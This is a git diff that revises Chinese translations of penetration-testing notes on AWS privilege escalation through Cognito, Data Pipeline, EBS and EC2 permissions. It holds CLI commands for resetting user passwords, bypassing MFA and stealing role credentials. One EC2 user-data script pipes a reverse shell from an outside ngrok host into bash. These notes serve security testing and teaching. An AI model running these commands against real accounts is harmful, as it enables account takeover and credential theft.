-拥有此权限的攻击者可以设置例如一个在他控制下的 Cognito 用户池或任何其他身份提供者,在那里他可以登录 **以访问此 Cognito 身份池**。然后,只需在该用户提供者上 **登录** 就会 **允许他访问身份池中配置的认证角色**。
+拥有此权限的攻击者可以设置例如一个在其控制下的Cognito用户池或任何其他身份提供者,在那里他可以登录**以访问此Cognito身份池**。然后,只需在该用户提供者上**登录**将**允许他访问身份池中配置的认证角色**。
```bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
@@ -61,7 +61,7 @@ aws cognito-identity get-credentials-for-identity \
--identity-id \
--logins cognito-idp..amazonaws.com/=
```
-这也可以**滥用此权限以允许基本身份验证**:
+也可以**滥用此权限以允许基本身份验证**:
```bash
aws cognito-identity update-identity-pool \
--identity-pool-id \
@@ -88,11 +88,11 @@ aws cognito-idp admin-add-user-to-group \
```bash
aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn
```
-**潜在影响:** 提升到其他Cognito IAM角色。
+**潜在影响:** 提升到其他 Cognito IAM 角色。
### `cognito-idp:AdminConfirmSignUp`
-此权限允许**验证注册**。默认情况下,任何人都可以登录Cognito应用程序,如果不加以限制,用户可以使用任何数据创建帐户并通过此权限进行验证。
+此权限允许**验证注册**。默认情况下,任何人都可以登录 Cognito 应用程序,如果不加以限制,用户可以使用任何数据创建帐户并通过此权限进行验证。
```bash
aws cognito-idp admin-confirm-sign-up \
--user-pool-id \
@@ -115,13 +115,13 @@ aws cognito-idp admin-create-user \
### `cognito-idp:AdminEnableUser`
-此权限可以在非常边缘的情况下提供帮助,攻击者发现了一个禁用用户的凭证,并且他需要**再次启用它**。
+此权限可以在非常边缘的情况下提供帮助,攻击者发现了一个禁用用户的凭证,并且他需要**重新启用它**。
```bash
aws cognito-idp admin-enable-user \
--user-pool-id \
--username
```
-**潜在影响:** 间接提升到身份池 IAM 角色的权限,适用于经过身份验证的用户和用户的权限,如果攻击者拥有禁用用户的凭证。
+**潜在影响:** 间接提升对身份池 IAM 角色的权限,适用于经过身份验证的用户和用户的权限,如果攻击者拥有禁用用户的凭证。
### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
@@ -129,7 +129,7 @@ aws cognito-idp admin-enable-user \
### `cognito-idp:AdminSetUserPassword`
-此权限将允许攻击者 **更改任何用户的密码**,使其能够冒充任何用户(不启用 MFA 的用户)。
+此权限将允许攻击者 **更改任何用户的密码**,使其能够冒充任何用户(未启用 MFA 的用户)。
```bash
aws cognito-idp admin-set-user-password \
--user-pool-id \
@@ -137,7 +137,7 @@ aws cognito-idp admin-set-user-password \
--password \
--permanent
```
-**潜在影响:** 直接的权限提升,可能影响任何用户,因此可以访问每个用户所属于的所有组以及访问身份池认证的 IAM 角色。
+**潜在影响:** 直接的权限提升可能影响任何用户,因此可以访问每个用户所属于的所有组以及访问身份池认证的 IAM 角色。
### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
@@ -156,7 +156,7 @@ aws cognito-idp admin-set-user-mfa-preference \
--username \
--user-pool-id
```
-**SetUserPoolMfaConfig**: 类似于前一个权限,此权限可用于设置用户池的 MFA 首选项,以绕过 MFA 保护。
+**SetUserPoolMfaConfig**: 类似于前一个权限,此权限可用于设置用户池的 MFA 偏好,以绕过 MFA 保护。
```bash
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id \
@@ -164,7 +164,7 @@ aws cognito-idp set-user-pool-mfa-config \
[--software-token-mfa-configuration ] \
[--mfa-configuration ]
```
-**UpdateUserPool:** 也可以更新用户池以更改 MFA 策略。 [在这里查看 cli](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html)。
+**UpdateUserPool:** 也可以更新用户池以更改 MFA 策略。 [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html)。
**Potential Impact:** 间接的权限提升,可能针对攻击者知道凭据的任何用户,这可能允许绕过 MFA 保护。
@@ -178,13 +178,13 @@ aws cognito-idp admin-update-user-attributes \
--username \
--user-attributes
```
-**潜在影响:** 在使用 Cognito 用户池的基础应用程序中,可能会间接提升权限,基于用户属性授予权限。
+**潜在影响:** 通过使用 Cognito 用户池在基础应用程序中可能间接提升权限,基于用户属性授予权限。
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
-拥有此权限的攻击者可以**创建一个新的用户池客户端,其限制低于**现有的池客户端。例如,新的客户端可以允许任何类型的方法进行身份验证,没有任何秘密,禁用令牌撤销,允许令牌有效期更长...
+拥有此权限的攻击者可以**创建一个比现有用户池客户端限制更少的新用户池客户端**。例如,新客户端可以允许任何类型的方法进行身份验证,没有任何密钥,禁用令牌撤销,允许令牌有效期更长...
-如果不是创建一个新客户端,而是**修改现有客户端**,也可以做到这一点。
+如果不是创建新客户端,而是**修改现有客户端**,也可以做到这一点。
在 [**命令行**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html)(或 [**更新命令**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html))中,您可以查看所有选项,检查一下!
```bash
@@ -193,7 +193,7 @@ aws cognito-idp create-user-pool-client \
--client-name \
[...]
```
-**潜在影响:** 通过创建一个放宽安全措施的新客户端,可能间接导致对用户池使用的身份池授权用户的权限提升,使攻击者能够使用他能够创建的用户登录。
+**潜在影响:** 通过创建一个放宽安全措施的新客户端,可能间接提升对用户池使用的身份池授权用户的权限,使攻击者能够使用他能够创建的用户登录。
### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
@@ -214,13 +214,13 @@ aws cognito-idp start-user-import-job \
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
```
-(在创建新导入作业的情况下,您可能还需要 iam passrole 权限,我还没有测试过)。
+(在您创建新的导入作业的情况下,您可能还需要 iam passrole 权限,我还没有测试过)。
-**潜在影响:** 直接提升到经过身份验证的用户的身份池 IAM 角色。间接提升到其他应用功能,能够创建任何用户。
+**潜在影响:** 直接提升权限到身份池 IAM 角色,适用于经过身份验证的用户。间接提升权限到其他应用功能,能够创建任何用户。
### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
-攻击者可以创建一个新的身份提供者,从而能够通过该提供者**登录**。
+攻击者可以创建一个新的身份提供者,从而能够**通过该提供者登录**。
```bash
aws cognito-idp create-identity-provider \
--user-pool-id \
@@ -230,20 +230,20 @@ aws cognito-idp create-identity-provider \
[--attribute-mapping ] \
[--idp-identifiers ]
```
-**潜在影响:** 直接提升到经过身份验证的用户的身份池 IAM 角色。间接提升到其他应用功能,能够创建任何用户。
+**潜在影响:** 直接提升到身份池 IAM 角色的认证用户。间接提升到其他应用功能,能够创建任何用户。
### cognito-sync:\* 分析
-这是 Cognito 身份池角色中默认的非常常见的权限。即使权限中的通配符看起来总是不好(特别是来自 AWS),**给定的权限从攻击者的角度来看并不是特别有用**。
+这是 Cognito 身份池角色中默认的非常常见的权限。即使权限中的通配符看起来总是不好(特别是来自 AWS),**给定的权限从攻击者的角度来看并不是非常有用**。
此权限允许读取身份池和身份池内身份 ID 的使用信息(这不是敏感信息)。\
身份 ID 可能有 [**数据集**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) 分配给它们,这些是会话的信息(AWS 将其定义为 **保存的游戏**)。这可能包含某种敏感信息(但概率相当低)。您可以在 [**枚举页面**](../aws-services/aws-cognito-enum/) 找到如何访问这些信息。
-攻击者还可以使用这些权限来 **注册自己到一个 Cognito 流,以发布这些数据集上的更改** 或 **在 Cognito 事件上触发的 Lambda**。我没有看到过这种用法,我也不期望这里有敏感信息,但这并不是不可能的。
+攻击者还可以使用这些权限来 **注册自己到一个发布这些数据集更改的 Cognito 流** 或 **在 Cognito 事件上触发的 lambda**。我没有见过这种用法,我也不期望这里有敏感信息,但这并不是不可能的。
### 自动化工具
-- [Pacu](https://github.com/RhinoSecurityLabs/pacu),AWS 利用框架,现在包括 "cognito\_\_enum" 和 "cognito\_\_attack" 模块,这些模块自动枚举账户中的所有 Cognito 资产并标记弱配置、用于访问控制的用户属性等,同时还自动创建用户(包括 MFA 支持)和基于可修改自定义属性、可用身份池凭证、可假设角色的 ID 令牌等的权限提升。
+- [Pacu](https://github.com/RhinoSecurityLabs/pacu),AWS 利用框架,现在包括 "cognito\_\_enum" 和 "cognito\_\_attack" 模块,这些模块自动枚举账户中的所有 Cognito 资产并标记弱配置、用于访问控制的用户属性等,同时还自动创建用户(包括 MFA 支持)和基于可修改自定义属性、可用身份池凭证、可假设角色的权限提升等。
有关模块功能的描述,请参见 [博客文章](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) 的第 2 部分。有关安装说明,请参见主 [Pacu](https://github.com/RhinoSecurityLabs/pacu) 页面。
@@ -259,7 +259,7 @@ us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
```bash
Pacu (new:test) > run cognito__enum
```
-- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) 是一个用 Python 编写的 CLI 工具,实施对 Cognito 的不同攻击,包括权限提升。
+- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) 是一个用 Python 实现的 CLI 工具,针对 Cognito 实施不同的攻击,包括权限提升。
#### 安装
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
index 61789404d..2b8ab1038 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
@@ -4,7 +4,7 @@
## datapipeline
-有关datapipeline的更多信息,请查看:
+有关 datapipeline 的更多信息,请查看:
{{#ref}}
../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
@@ -12,7 +12,7 @@
### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
-具有这些**权限的用户可以通过创建数据管道来提升权限**,以使用**分配角色的权限执行任意命令:**
+具有这些 **权限的用户可以通过创建数据管道来提升权限**,以使用 **分配角色的权限执行任意命令:**
```bash
aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
```
@@ -50,18 +50,18 @@ aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
}
```
> [!NOTE]
-> 请注意,**第14、15和27行**中的**角色**需要是**可由datapipeline.amazonaws.com假设的角色**,而**第28行**中的角色需要是**可由ec2.amazonaws.com假设的角色,并且具有EC2配置文件实例**。
+> 请注意,**第14、15和27行**中的**角色**需要是**可被datapipeline.amazonaws.com假设的角色**,而**第28行**中的角色需要是**可被ec2.amazonaws.com假设的角色,并且具有EC2配置文件实例**。
>
-> 此外,EC2实例将仅能访问可由EC2实例假设的角色(因此您只能窃取那个角色)。
+> 此外,EC2实例将仅能访问可被EC2实例假设的角色(因此您只能窃取那个角色)。
```bash
aws datapipeline put-pipeline-definition --pipeline-id \
--pipeline-definition file:///pipeline/definition.json
```
-**攻击者制作的** pipeline definition file **包含执行命令或通过 AWS API 创建资源的指令,利用 Data Pipeline 的角色权限来潜在地获得额外的权限。**
+**攻击者制作的管道定义文件包含执行命令或通过 AWS API 创建资源的指令**,利用数据管道的角色权限来潜在地获得额外的特权。
**潜在影响:** 直接提升到指定的 ec2 服务角色。
-## References
+## 参考
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
index 7e03bf49e..b866d03f4 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
@@ -19,7 +19,7 @@ aws ds reset-user-password --directory-id --user-name Admin --new-password
```
### AWS Management Console
-可以启用一个 **应用访问 URL**,让 AD 用户可以登录:
+可以启用一个 **应用访问 URL**,供 AD 用户登录:
.png)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
index 7648f9be5..652d4affb 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
@@ -12,7 +12,7 @@
### Post Exploitation
-据我所知,**仅凭一些AWS `dynamodb` 权限没有直接的方法来提升权限**。您可以**从表中读取敏感**信息(可能包含AWS凭证)并**在表中写入信息**(这可能触发其他漏洞,例如lambda代码注入...),但所有这些选项在**DynamoDB Post Exploitation页面**中已经考虑过:
+据我所知,**仅凭一些AWS `dynamodb` 权限没有直接的方法来提升AWS中的权限**。您可以**从表中读取敏感**信息(可能包含AWS凭证)并**在表中写入信息**(可能触发其他漏洞,如lambda代码注入...),但所有这些选项在**DynamoDB Post Exploitation页面**中已经考虑过:
{{#ref}}
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
index b13111638..431a3c975 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
@@ -16,11 +16,11 @@
工具 [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) 执行此攻击以**从域控制器提取密码**。
-**潜在影响:** 通过在快照中定位敏感信息进行间接权限提升(您甚至可以获取Active Directory密码)。
+**潜在影响:** 通过在快照中定位敏感信息间接提升权限(您甚至可以获取Active Directory密码)。
### **`ec2:CreateSnapshot`**
-任何拥有**`EC2:CreateSnapshot`**权限的AWS用户都可以通过创建**域控制器的快照**来窃取所有域用户的哈希值,将其挂载到他们控制的实例上,并**导出NTDS.dit和SYSTEM**注册表蜂巢文件,以便与Impacket的secretsdump项目一起使用。
+任何拥有**`EC2:CreateSnapshot`**权限的AWS用户都可以通过创建**域控制器的快照**来窃取所有域用户的哈希,将其挂载到他们控制的实例上,并**导出NTDS.dit和SYSTEM**注册表蜂巢文件,以便与Impacket的secretsdump项目一起使用。
您可以使用此工具来自动化攻击:[https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy),或者在创建快照后使用之前的技术之一。
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
index 965e075df..3b1c10631 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
@@ -12,11 +12,11 @@
### `iam:PassRole`, `ec2:RunInstances`
-攻击者可以 **创建一个实例并附加 IAM 角色,然后访问该实例** 以从元数据端点窃取 IAM 角色凭证。
+攻击者可以 **创建一个实例并附加 IAM 角色,然后访问该实例** 以从元数据端点窃取 IAM 角色凭据。
- **通过 SSH 访问**
-使用 **创建的** **ssh 密钥** (`--key-name`) 运行一个新实例,然后 ssh 进入它(如果您想创建一个新的,您可能需要拥有权限 `ec2:CreateKeyPair`)。
+使用 **创建的** **ssh 密钥** (`--key-name`) 运行一个新实例,然后 ssh 进入它(如果您想创建一个新的,您可能需要拥有 `ec2:CreateKeyPair` 权限)。
```bash
aws ec2 run-instances --image-id --instance-type t2.micro \
--iam-instance-profile Name= --key-name \
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
```
- **通过用户数据访问 rev shell**
-您可以使用 **用户数据** (`--user-data`) 启动一个新实例,该实例将向您发送一个 **rev shell**。您不需要以这种方式指定安全组。
+您可以使用 **用户数据** (`--user-data`) 运行一个新实例,该实例将向您发送一个 **rev shell**。您不需要以这种方式指定安全组。
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,7 +34,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
-注意,如果您在实例外部使用 IAM 角色的凭据,请小心 GuradDuty:
+小心使用实例外的 IAM 角色凭证时的 GuradDuty:
{{#ref}}
../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
@@ -65,7 +65,7 @@ echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >>
aws-ecs-privesc.md
{{#endref}}
-如果您**无法创建新实例**但拥有权限 `ecs:RegisterContainerInstance`,您可能能够在集群中注册该实例并执行评论攻击。
+如果您**无法创建新实例**但拥有权限 `ecs:RegisterContainerInstance`,您可能能够在集群中注册该实例并执行评论中的攻击。
**潜在影响:** 直接提升到附加到任务的 ECS 角色。
@@ -80,13 +80,13 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name --role-name
```
-如果**实例配置文件有角色**且攻击者**无法移除它**,还有另一种变通方法。他可以**找到**一个**没有角色的实例配置文件**或**创建一个新的**(`iam:CreateInstanceProfile`),**将**该**角色**添加到该**实例配置文件**(如前所述),并**将实例配置文件**关联到一个被攻陷的**实例:**
+如果**实例配置文件有角色**且攻击者**无法移除它**,还有另一种变通方法。他可以**找到**一个**没有角色的实例配置文件**或**创建一个新的**(`iam:CreateInstanceProfile`),**将**角色**添加**到该**实例配置文件**(如前所述),并**将实例配置文件**关联到一个被攻陷的**实例:**
- 如果实例**没有任何实例**配置文件(`ec2:AssociateIamInstanceProfile`)\*
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-**潜在影响:** 直接提升权限到不同的 EC2 角色(你需要已经攻陷一个 AWS EC2 实例,并且拥有一些额外的权限或特定的实例配置文件状态)。
+**潜在影响:** 直接提升权限到不同的 EC2 角色(你需要已经攻陷一个 AWS EC2 实例并且拥有一些额外的权限或特定的实例配置文件状态)。
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
@@ -104,11 +104,11 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --ins
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=